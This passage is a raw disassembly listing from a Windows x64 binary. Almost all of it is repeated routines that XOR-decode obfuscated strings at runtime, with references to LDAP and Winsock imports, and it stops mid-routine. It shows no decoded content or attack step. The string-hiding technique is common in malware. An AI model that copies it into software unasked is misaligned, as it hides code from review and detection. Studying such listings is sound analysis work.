lea rcx, [rbp + 0x1d10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x68]
call fcn.1400e9cd0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1d30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp - 0x67]
call fcn.1400e9d10
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1d50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x66]
call fcn.1400e9d50
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1d70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x65]
call fcn.1400e9d90
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1d90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xb08]
lea rcx, [rbp - 0x64]
call fcn.1400e9dd0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rdx + 0x15], r8b
mov byte [rdx + 0x16], 0
lea rcx, [rbp + 0x1db0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x450]
lea rcx, [rbp - 0x63]
call fcn.1400e9e20
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1dd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x460]
lea rcx, [rbp - 0x62]
call fcn.1400e9e60
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1df0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xb90]
lea rcx, [rbp - 0x61]
call fcn.1400e9ea0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rdx + 0x16], r8b
mov byte [rdx + 0x17], 0
lea rcx, [rbp + 0x1e10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x470]
lea rcx, [rbp - 0x60]
call fcn.1400e9ef0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1e30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x7d8]
lea rcx, [rbp - 0x5f]
call fcn.1400e9f30
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1e50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp - 0x5e]
call fcn.1400e9f70
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1e70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x9b8]
lea rcx, [rbp - 0x5d]
call fcn.1400e9fc0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1e90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp - 0x5c]
call fcn.1400ea010
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1eb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xb20]
lea rcx, [rbp - 0x5b]
call fcn.1400ea050
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rdx + 0x15], r8b
mov byte [rdx + 0x16], 0
lea rcx, [rbp + 0x1ed0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x5a]
call fcn.1400ea0a0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1ef0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x59]
call fcn.1400ea0e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1f10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x58]
call fcn.1400ea120
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1f30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x57]
call fcn.1400ea160
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1f50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x480]
lea rcx, [rbp - 0x56]
call fcn.1400ea1a0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1f70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x490]
lea rcx, [rbp - 0x55]
call fcn.1400ea1e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1f90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp - 0x54]
call fcn.1400ea220
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1fb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp - 0x53]
call fcn.1400ea260
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1fd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xb50]
lea rcx, [rbp - 0x52]
call fcn.1400ea2a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rdx + 0x16], r8b
mov byte [rdx + 0x17], 0
lea rcx, [rbp + 0x1ff0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp - 0x51]
call fcn.1400ea2f0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rdx + 0x18], r8b
mov byte [rdx + 0x19], 0
lea rcx, [rbp + 0x2010]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp - 0x50]
call fcn.1400ea350
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rdx + 0x18], r8b
mov byte [rdx + 0x19], 0
lea rcx, [rbp + 0x2030]
call fcn.140046ed0
nop
lea rax, [rbp + 0x11d0]
mov qword [rbp], rax
lea rax, [rbp + 0x2050]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x20a0], xmm0
mov r8, r15
lea rdx, [rbp + 0x20a0]
lea rcx, [rbp + 0x20b0]
call fcn.14005c270
nop
lea r9, [fcn.14005cc00]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x11d0]
call fcn.1402b0084
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20c8], xmm0
mov qword [rbp + 0x20d8], rax
lea rdx, [rbp + 0x2050]
lea rcx, [rbp - 0x4f]
call fcn.1400ea3b0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rdx + 0x1d], r8b
mov byte [rdx + 0x1e], 0
lea rcx, [rbp + 0xbf0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2070]
lea rcx, [rbp - 0x4e]
call fcn.1400ea410
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rdx + 0x24], r8b
mov byte [rdx + 0x25], 0
lea rcx, [rbp + 0xc10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x4d]
call fcn.1400ea480
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [rax + 7], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xc30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x4c]
call fcn.1400ea4b0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
mov byte [rax + 9], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xc50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x4b]
call fcn.1400ea4f0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
mov byte [rax + 6], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xc70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x4a]
call fcn.1400ea520
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [rax + 7], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xc90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa00]
lea rcx, [rbp - 0x49]
call fcn.1400ea550
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rdx + 0x11], r8b
mov byte [rdx + 0x12], 0
lea rcx, [rbp + 0xcb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x48]
call fcn.1400ea590
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xcd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x47]
call fcn.1400ea5d0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [rax + 8], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xcf0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x520]
lea rcx, [rbp - 0x46]
call fcn.1400ea600
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
mov byte [rax + 0xe], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xd10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xb38]
lea rcx, [rbp - 0x45]
call fcn.1400ea640
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rdx + 0x15], r8b
mov byte [rdx + 0x16], 0
lea rcx, [rbp + 0xd30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x530]
lea rcx, [rbp - 0x44]
call fcn.1400ea690
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
mov byte [rax + 0xe], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xd50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x43]
call fcn.1400ea6d0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
mov byte [rax + 6], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xd70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x808]
lea rcx, [rbp - 0x42]
call fcn.1400ea700
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0xd90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x41]
call fcn.1400ea740
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [rax + 8], 0
lea rcx, [rax + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xdb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x40]
call fcn.1400ea770
mov r14, rax
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400e73d0
mov edx, 6
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xdd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x3f]
call fcn.1400ea7a0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xa
jb 0x1400e7440
mov edx, 0xa
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xdf0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x3e]
call fcn.1400ea7e0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
